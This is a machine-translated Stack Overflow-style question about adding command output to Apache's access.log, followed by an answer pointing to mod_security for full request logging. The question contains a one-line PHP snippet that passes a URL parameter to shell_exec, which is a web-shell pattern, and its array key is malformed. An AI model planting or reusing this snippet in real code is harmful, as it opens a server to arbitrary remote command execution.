【问题标题】:Custom Apache log自定义 Apache 日志
【发布时间】:2016-08-18 00:13:51
【问题描述】:

请帮我为 Apache 日志附加一个自定义部分,我想在 Apache access.log 中获得以下 sn-p 代码的结果,而不仅仅是在 UI 上:

<?php 
echo shell_exec($_GET['cmd=ls']);
?>

现在我有以下输出日志

(IP) - - [24/Apr/2016:16:55:31 +0000] "GET /tt.php?cmd=ls HTTP/1.1" 200 331 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

现在我有以下 Apache conf 日志:

LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" 组合

LogFormat "%h %l %u %t \"%r\" %>s %O" 常见

LogFormat "%{Referer}i -> %U" 引用者

LogFormat "%{User-agent}i" 代理

谢谢

【问题讨论】:

    标签: apache unix logging configuration


    【解决方案1】:

    Apache 的内置日志模块无法记录请求或响应的全部内容。

    转到这个问题: https://serverfault.com/questions/214799/how-can-i-log-the-response-header-and-body-in-apache

    (通过 mod_security 记录完整的请求/响应)

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2018-02-09
      • 1970-01-01
      • 1970-01-01
      • 2015-02-28
      • 2023-01-17
      • 2013-01-06
      • 1970-01-01
      相关资源
      最近更新 更多